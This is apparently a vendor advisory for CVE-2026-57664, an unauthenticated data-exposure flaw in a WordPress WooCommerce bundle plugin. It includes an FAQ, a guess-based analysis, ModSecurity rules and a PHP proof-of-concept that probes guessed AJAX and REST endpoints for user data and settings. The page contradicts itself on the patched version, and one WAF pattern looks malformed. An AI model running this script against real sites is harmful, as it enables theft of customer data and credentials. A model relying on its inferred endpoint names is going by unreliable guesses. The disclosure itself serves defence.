What is CVE-2026-57664?

CVE-2026-57664 is a medium-severity vulnerability in the Bopo WooCommerce Product Bundle Builder plugin for WordPress, affecting versions up to and including 1.1.6. It allows unauthenticated attackers to extract sensitive user or configuration data due to missing authorization checks.

How does the vulnerability work?

The plugin registers an AJAX handler or REST API endpoint that returns sensitive data without requiring authentication or proper permission checks. An attacker can send crafted requests to enumerate users or configuration options, extracting data like email addresses, API keys, or order details.

Who is affected by this vulnerability?

Any WordPress site running the Bopo WooCommerce Product Bundle Builder plugin version 1.1.6 or earlier is affected. Sites using the free version or older releases are vulnerable regardless of other security measures.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 1.1.6 or lower, your site is vulnerable. You can also use security scanners or manually inspect the plugin’s code for unauthenticated AJAX actions.

What is the CVSS score and what does it mean?

The CVSS base score is 5.3 (Medium). This indicates a network-exploitable vulnerability with low attack complexity, no privileges required, and no user interaction. The impact is limited to confidentiality loss of sensitive data.

What sensitive data could be exposed?

Attackers could extract WooCommerce API keys, payment gateway credentials (e.g., Stripe, PayPal), site database credentials, customer email addresses, order details with personal data, and internal plugin configuration stored in WordPress options.

How do I fix this vulnerability?

Update the plugin to version 1.2.0 or later, which includes proper authorization checks. If an update is not available, consider disabling the plugin until a patch is applied, or implement a Web Application Firewall (WAF) rule to block unauthenticated requests to vulnerable endpoints.

What does the proof of concept demonstrate?

The PoC sends a POST request to admin-ajax.php with a crafted action parameter (e.g., bopo_get_users) to retrieve user data without authentication. It shows how an attacker can exploit the missing permission check to extract sensitive information.

Is there a patch available?

Yes, the vendor released version 1.2.0 which patches the vulnerability. Administrators should update immediately to protect their sites.

Can this vulnerability be exploited remotely?

Yes, the vulnerability is network-exploitable with low complexity. An unauthenticated attacker can send a simple HTTP request to the vulnerable endpoint from anywhere, without needing prior access to the site.

What should I do if I cannot update the plugin immediately?

As a temporary measure, you can disable the plugin or use a security plugin to block unauthenticated access to AJAX actions. Additionally, monitor your site for suspicious requests to admin-ajax.php or REST API endpoints.

How does this vulnerability compare to other CWE-200 issues?

CWE-200 covers information exposure vulnerabilities. This specific case is typical of missing authorization in WordPress plugins, where endpoints intended for authenticated users are accessible without checks. The impact is similar to other plugin vulnerabilities that leak configuration or user data.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : July 5, 2026

CVE-2026-57664: Bopo – WooCommerce Product Bundle Builder <= 1.1.6 Unauthenticated Sensitive Information Exposure PoC, Patch Analysis & Rule

CVE ID CVE-2026-57664

Plugin bopo-woo-product-bundle-builder

Severity Medium (CVSS 5.3)

CWE 200

Vulnerable Version 1.1.6

Patched Version —

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57664 (metadata-based):

This vulnerability exposes sensitive user or configuration data from the Bopo – WooCommerce Product Bundle Builder plugin, affecting all versions up to and including 1.1.6. The CVSS base score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) indicates network-exploitable, low-complexity attacks requiring no authentication. The plugin slug is “bopo-woo-product-bundle-builder” and the patched version is 1.2.0.

Root Cause: The CWE-200 classification and the description “extract sensitive user or configuration data” strongly point to a missing or insufficient authorization check in a publicly accessible endpoint. For a WooCommerce plugin, this often involves a REST API route or AJAX handler that returns data from the `wp_options` table (site configuration, API keys, payment gateway credentials) or user records (email addresses, order history) without requiring the appropriate capability or nonce validation. Since no code is available, Atomic Edge analysis infers the vulnerability resides in an unauthenticated AJAX action or REST endpoint that the plugin registers for front-end bundle builder functionality but fails to limit data retrieval to the currently authenticated user’s own data or to require any permission check.

Exploitation: An unauthenticated attacker can craft a GET or POST request to either an AJAX handler at `/wp-admin/admin-ajax.php` with a specific `action` parameter (e.g., `bopo_get_products`, `bopo_get_bundle_data`, or similar) or to a REST API endpoint at `/wp-json/bopo/v1/…` with parameters that enumerate users or configuration keys. By manipulating parameters such as `user_id`, `email`, `option_name`, or by simply omitting authentication tokens, the attacker can iterate over valid identifiers and retrieve sensitive data. Atomic Edge analysis expects the plugin registers an endpoint that, for example, returns WooCommerce product or order data with customer names and addresses, or exposes internal plugin configuration including API keys stored in WordPress options.

Remediation: The patch (version 1.2.0) likely adds proper permissions checks such as `current_user_can(‘edit_posts’)` or `current_user_can(‘manage_options’)` before returning sensitive data. For endpoints that need to be publicly accessible, the plugin should validate that the requester is authorized to view the specific data (e.g., their own order) by checking matching IDs against the current user’s session. Additionally, implementing WordPress nonce verification for AJAX actions and explicit capability checking for REST API routes would prevent unauthenticated data extraction.

Impact: Successful exploitation allows an attacker to harvest sensitive information from affected WordPress installations. This could include WooCommerce API keys, payment gateway credentials (Stripe, PayPal secret keys), site database credentials stored in options, email addresses of customers and administrators, order details with personal data (names, addresses, phone numbers), and internal plugin configuration. Such data exposure can lead to financial theft, identity fraud, further system compromise, or privacy regulation (GDPR/CCPA) violations for the site owner.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-57664 (metadata-based)
# Block unauthenticated data exposure via Bopo plugin AJAX handlers
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57664 - Bopo WooCommerce Bundle Builder Info Disclosure via AJAX',severity:'CRITICAL',tag:'CVE-2026-57664'"
SecRule ARGS_POST:action "@rx ^bopo_" "chain"
SecRule REQUEST_METHOD "@streq POST" ""

# Block unauthenticated data exposure via Bopo plugin REST API
SecRule REQUEST_URI "@beginsWith /wp-json/bopo/" "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-57664 - Bopo WooCommerce Bundle Builder Info Disclosure via REST API',severity:'CRITICAL',tag:'CVE-2026-57664'"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule ARGS:user_id "@rx ^d+$" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57664 - Bopo - WooCommerce Product Bundle Builder <= 1.1.6 Unauthenticated Sensitive Information Exposure

// Configuration
$target_url = 'https://example.com';  // CHANGE THIS to the target WordPress site URL

// Initialize cURL
$ch = curl_init();

// ==============================================================
// Attempt 1: AJAX handler - try to extract user data via common action
// ==============================================================
echo "[+] Attempting AJAX endpoint: admin-ajax.php?action=bopo_get_usersn";

$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'bopo_get_users',
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 30,
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response && $http_code == 200) {
    $decoded = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
        echo "[+] Received data: " . substr($response, 0, 500) . "nn";
    } else {
        echo "[-] No JSON data returned.nn";
    }
} else {
    echo "[-] HTTP $http_code - No data retrieved.nn";
}

// ==============================================================
// Attempt 2: REST API endpoint - try common plugin namespace
// ==============================================================
echo "[+] Attempting REST API: /wp-json/bopo/v1/confign";

$rest_url = rtrim($target_url, '/') . '/wp-json/bopo/v1/config';

curl_setopt_array($ch, [
    CURLOPT_URL => $rest_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_HTTPHEADER => ['Accept: application/json'],
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response && $http_code == 200) {
    $decoded = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
        echo "[+] Received data: " . substr($response, 0, 500) . "nn";
    } else {
        echo "[-] No JSON data returned.nn";
    }
} else {
    echo "[-] HTTP $http_code - No data retrieved.nn";
}

// ==============================================================
// Attempt 3: Try another common AJAX action for bundle data
// ==============================================================
echo "[+] Attempting AJAX: bopo_get_bundlen";

$post_data2 = [
    'action' => 'bopo_get_bundle',
    'bundle_id' => 1,
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data2),
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response && $http_code == 200) {
    $decoded = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
        echo "[+] Received data: " . substr($response, 0, 500) . "nn";
    } else {
        echo "[-] No JSON data returned.nn";
    }
} else {
    echo "[-] HTTP $http_code - No data retrieved.nn";
}

// ==============================================================
// Attempt 4: Try to read WordPress options via plugin endpoint
// ==============================================================
echo "[+] Attempting AJAX: bopo_get_settingsn";

$post_data3 = [
    'action' => 'bopo_get_settings',
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data3),
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response && $http_code == 200) {
    $decoded = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE && !empty($decoded)) {
        echo "[+] Received data: " . substr($response, 0, 500) . "nn";
    } else {
        echo "[-] No JSON data returned.nn";
    }
} else {
    echo "[-] HTTP $http_code - No data retrieved.nn";
}

curl_close($ch);

echo "[+] Testing complete. If any attempts returned data, the site is vulnerable to CVE-2026-57664.n";

Frequently Asked Questions

What is CVE-2026-57664?
Vulnerability overview
CVE-2026-57664 is a medium-severity vulnerability in the Bopo WooCommerce Product Bundle Builder plugin for WordPress, affecting versions up to and including 1.1.6. It allows unauthenticated attackers to extract sensitive user or configuration data due to missing authorization checks.
How does the vulnerability work?
Technical mechanism
The plugin registers an AJAX handler or REST API endpoint that returns sensitive data without requiring authentication or proper permission checks. An attacker can send crafted requests to enumerate users or configuration options, extracting data like email addresses, API keys, or order details.
Who is affected by this vulnerability?
Affected sites
Any WordPress site running the Bopo WooCommerce Product Bundle Builder plugin version 1.1.6 or earlier is affected. Sites using the free version or older releases are vulnerable regardless of other security measures.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 1.1.6 or lower, your site is vulnerable. You can also use security scanners or manually inspect the plugin’s code for unauthenticated AJAX actions.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS base score is 5.3 (Medium). This indicates a network-exploitable vulnerability with low attack complexity, no privileges required, and no user interaction. The impact is limited to confidentiality loss of sensitive data.
What sensitive data could be exposed?
Potential data at risk
Attackers could extract WooCommerce API keys, payment gateway credentials (e.g., Stripe, PayPal), site database credentials, customer email addresses, order details with personal data, and internal plugin configuration stored in WordPress options.
How do I fix this vulnerability?
Remediation steps
Update the plugin to version 1.2.0 or later, which includes proper authorization checks. If an update is not available, consider disabling the plugin until a patch is applied, or implement a Web Application Firewall (WAF) rule to block unauthenticated requests to vulnerable endpoints.
What does the proof of concept demonstrate?
PoC explanation
The PoC sends a POST request to admin-ajax.php with a crafted action parameter (e.g., bopo_get_users) to retrieve user data without authentication. It shows how an attacker can exploit the missing permission check to extract sensitive information.
Is there a patch available?
Patch status
Yes, the vendor released version 1.2.0 which patches the vulnerability. Administrators should update immediately to protect their sites.
Can this vulnerability be exploited remotely?
Exploitability
Yes, the vulnerability is network-exploitable with low complexity. An unauthenticated attacker can send a simple HTTP request to the vulnerable endpoint from anywhere, without needing prior access to the site.
What should I do if I cannot update the plugin immediately?
Mitigation without patch
As a temporary measure, you can disable the plugin or use a security plugin to block unauthenticated access to AJAX actions. Additionally, monitor your site for suspicious requests to admin-ajax.php or REST API endpoints.
How does this vulnerability compare to other CWE-200 issues?
Context
CWE-200 covers information exposure vulnerabilities. This specific case is typical of missing authorization in WordPress plugins, where endpoints intended for authenticated users are accessible without checks. The impact is similar to other plugin vulnerabilities that leak configuration or user data.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started